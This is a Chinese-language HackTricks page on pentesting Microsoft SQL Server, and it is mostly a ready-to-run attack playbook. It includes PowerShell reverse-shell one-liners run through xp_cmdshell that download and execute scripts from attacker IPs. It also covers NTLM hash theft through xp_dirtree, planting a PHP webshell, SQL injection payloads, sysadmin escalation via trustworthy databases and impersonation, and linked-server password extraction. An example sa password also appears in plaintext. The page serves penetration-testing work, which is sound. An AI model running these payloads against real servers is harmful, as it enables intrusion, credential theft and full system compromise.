hacktricks/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md

569 lines
27 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 1433 - 渗透测试 MSSQL - Microsoft SQL Server
<details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式:
* 如果您想在 HackTricks 中看到您的 **公司广告****下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## 基本信息
来自 [维基百科](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
> **Microsoft SQL Server** 是由 Microsoft 开发的 **关系型数据库** 管理系统。作为数据库服务器,它是一个软件产品,其主要功能是根据其他软件应用程序的请求存储和检索数据,这些应用程序可以在同一台计算机上运行,也可以在网络上的另一台计算机上运行(包括互联网)。
**默认端口:** 1433
```
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
```
### **默认 MS-SQL 系统表**
* **master 数据库**: 这个数据库非常重要,因为它记录了 SQL Server 实例的所有系统级别细节。
* **msdb 数据库**: SQL Server 代理程序利用这个数据库来管理警报和作业的调度。
* **model 数据库**: 作为 SQL Server 实例上每个新数据库的蓝图,其中任何更改,如大小、排序规则、恢复模型等,都会在新创建的数据库中得到反映。
* **Resource 数据库**: 一个只读数据库,存放着随 SQL Server 提供的系统对象。这些对象虽然物理上存储在 Resource 数据库中,但在每个数据库的 sys 模式中逻辑上呈现。
* **tempdb 数据库**: 用作临时存储区域,用于存放临时对象或中间结果集。
## 枚举
### 自动枚举
如果你对服务一无所知:
```bash
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
```
{% hint style="info" %}
如果您**没有凭据**可以尝试猜测它们。您可以使用nmap或metasploit。请注意如果您使用现有用户名多次登录失败可能会**锁定帐户**。
{% endhint %}
#### Metasploit需要凭据
```bash
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder
#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump
#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf
#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin
#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass
```
### [**暴力破解**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
### 手动枚举
#### 登录
```bash
# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go
```
#### 常见枚举
```sql
# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master
#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
```
#### 获取用户
{% content-ref url="types-of-mssql-users.md" %}
[types-of-mssql-users.md](types-of-mssql-users.md)
{% endcontent-ref %}
```sql
# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;
## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers
```
#### 获取权限
1. **可保护资源:** SQL Server 管理的用于访问控制的资源。这些资源分为以下类别:
- **服务器级别** 例如数据库、登录、端点、可用性组和服务器角色。
- **数据库级别** 例如数据库角色、应用程序角色、架构、证书、全文目录和用户。
- **架构级别** 包括表、视图、存储过程、函数、同义词等。
2. **权限:** 与 SQL Server 可保护资源相关联的权限,如 ALTER、CONTROL 和 CREATE 可授予给主体。权限的管理发生在两个级别:
- **服务器级别** 使用登录
- **数据库级别** 使用用户
3. **主体:** 此术语指被授予权限访问可保护资源的实体。主体主要包括登录和数据库用户。通过授予或拒绝权限,或将登录和用户包含在具有访问权限的角色中,来实施对可保护资源的访问控制。
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'
```
## 技巧
### 执行操作系统命令
{% hint style="danger" %}
请注意,要能够执行命令,不仅需要启用 **`xp_cmdshell`**,还需要对 **`xp_cmdshell` 存储过程具有 EXECUTE 权限**。您可以查看谁(除了 sysadmins可以使用 **`xp_cmdshell`**
```sql
Use master
EXEC sp_helprotect 'xp_cmdshell'
```
{% endhint %}
```bash
# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'
# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE
#One liner
sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'
# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net'
```
### 窃取 NetNTLM 哈希 / 中继攻击
您应该启动一个 **SMB 服务器** 来捕获在身份验证中使用的哈希(例如 `impacket-smbserver``responder`)。
```bash
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'
# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
```
{% hint style="warning" %}
您可以检查除了系统管理员之外谁有权限运行这些 MSSQL 函数:
```sql
Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';
```
{% endhint %}
使用诸如 **responder****Inveigh** 等工具,可以**窃取 NetNTLM 哈希**。\
您可以查看如何使用这些工具:
{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
{% endcontent-ref %}
### 滥用 MSSQL 受信任链接
[**阅读此文章**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **以获取有关如何滥用此功能的更多信息:**
{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %}
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
{% endcontent-ref %}
### **写入文件**
要使用 `MSSQL` 写入文件,我们**需要启用** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option),这需要管理员特权,然后执行一些存储过程来创建文件:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE
sp_configure 'Ole Automation Procedures', 1
RECONFIGURE
# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
```
### **使用 OPENROWSET 读取文件**
默认情况下,`MSSQL` 允许对操作系统中帐户具有读取访问权限的任何文件进行读取。我们可以使用以下 SQL 查询:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
然而,**`BULK`** 选项需要 **`ADMINISTER BULK OPERATIONS`** 或 **`ADMINISTER DATABASE BULK OPERATIONS`** 权限。
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
```
#### 基于错误的 SQLi 向量:
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/读取文件执行脚本Python和R**
MSSQL可以允许您执行**Python和/或R脚本**。这些代码将由一个**不同的用户**执行,而不是使用**xp\_cmdshell**来执行命令的用户。
尝试执行一个**'R'** _"Hellow World!"_ **不起作用**的示例:
![](<../../.gitbook/assets/image (185) (1).png>)
使用配置的Python执行多个操作的示例
```sql
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
```
### 读取注册表
Microsoft SQL Server提供了多个扩展存储过程允许您与网络、文件系统甚至[Windows注册表](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)进行交互:
| **常规** | **实例感知** |
| ---------------------------- | -------------------------------------- |
| sys.xp\_regread | sys.xp\_instance\_regread |
| sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues |
| sys.xp\_regenumkeys | sys.xp\_instance\_regenumkeys |
| sys.xp\_regwrite | sys.xp\_instance\_regwrite |
| sys.xp\_regdeletevalue | sys.xp\_instance\_regdeletevalue |
| sys.xp\_regdeletekey | sys.xp\_instance\_regdeletekey |
| sys.xp\_regaddmultistring | sys.xp\_instance\_regaddmultistring |
| sys.xp\_regremovemultistring | sys.xp\_instance\_regremovemultistring |
```sql
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```
### 通过 MSSQL 用户定义函数 SQLHttp 进行 RCE <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
可以在 MSSQL 中使用自定义函数加载 .NET dll。然而这需要 `dbo` 访问权限,因此您需要一个作为 `sa` 或管理员角色连接到数据库。
查看[原始来源](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)以获取更多示例。
### RCE 的其他方法
还有其他方法可以实现命令执行,例如添加[扩展存储过程](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)、[CLR 程序集](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Server 代理作业](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15)和[外部脚本](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)。
## MSSQL 权限提升
### 从 db_owner 提升至 sysadmin
如果将**普通用户**赋予**`db_owner`**角色对**由管理员用户**(如**`sa`**)拥有的数据库的权限,并且该数据库配置为**`trustworthy`**,那么该用户可以滥用这些权限进行**权限提升**,因为在其中创建的**存储过程**可以作为所有者(**管理员**)执行。
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;
# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'
--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me
--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
```
你可以使用一个**metasploit**模块:
```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
或者一个 **PS** 脚本:
```powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
```
### 模拟其他用户
SQL Server有一个特殊权限名为**`IMPERSONATE`**,允许执行用户承担另一个用户或登录的权限,直到上下文被重置或会话结束。
```sql
# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned
# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
```
{% hint style="info" %}
如果您可以冒充一个用户即使他不是sysadmin您应该检查该用户是否可以访问其他数据库或链接服务器。
请注意一旦您成为sysadmin您可以冒充任何其他用户
{% endhint %}
```sql
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
```
你可以使用**metasploit**模块执行这种攻击:
```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
或者使用**PS**脚本:
```powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
```
## 使用MSSQL进行持久化
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
## 从SQL Server Linked Servers中提取密码
攻击者可以从SQL实例中提取SQL Server Linked Servers密码并以明文形式获取这些密码从而授予攻击者可以用来在目标上获得更大立足点的密码。
用于提取和解密存储在Linked Servers中的密码的脚本可以在[此处](https://www.richardswinbank.net/admin/extract_linked_server_passwords)找到。
为使此漏洞利用生效,需要进行一些要求和配置。
首先您必须在计算机上拥有管理员权限或者具有管理SQL Server配置的能力。
在验证权限后,您需要配置三件事,如下所示:
1. 在SQL Server实例上启用TCP/IP
2. 添加一个启动参数,在本例中,将添加一个跟踪标志,即-T7806。
3. 启用远程管理员连接。
要自动化这些配置,[此存储库](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)提供了所需的脚本。
除了为每个配置步骤提供一个PowerShell脚本外该存储库还提供了一个完整脚本结合了配置脚本以及密码的提取和解密。
有关此攻击的更多信息,请参考以下链接:
[解密MSSQL数据库链接服务器密码](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[解决SQL Server专用管理员连接问题](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
## 本地权限提升
运行MSSQL服务器的用户将启用特权令牌**SeImpersonatePrivilege**。\
您可能能够通过以下两个页面之一**提升为管理员**
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
{% endcontent-ref %}
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/juicypotato.md" %}
[juicypotato.md](../../windows-hardening/windows-local-privilege-escalation/juicypotato.md)
{% endcontent-ref %}
## Shodan
* `port:1433 !HTTP`
## 参考资料
* [如何获取所有数据库用户列表](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
* [SQL Server登录用户权限fn_my_permissions](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
* [高级MSSQL注入技巧](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [黑客SQL Server存储过程第一部分不可信数据库](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
* [黑客SQL Server存储过程第二部分用户冒充](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
* [通过Metasploit使用SQL Server执行SMB中继攻击](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
* [在SQL Server中使用注册表的工作](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## HackTricks自动命令
```
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).
#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go
2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go
3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}
Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'
```
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
其他支持HackTricks的方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>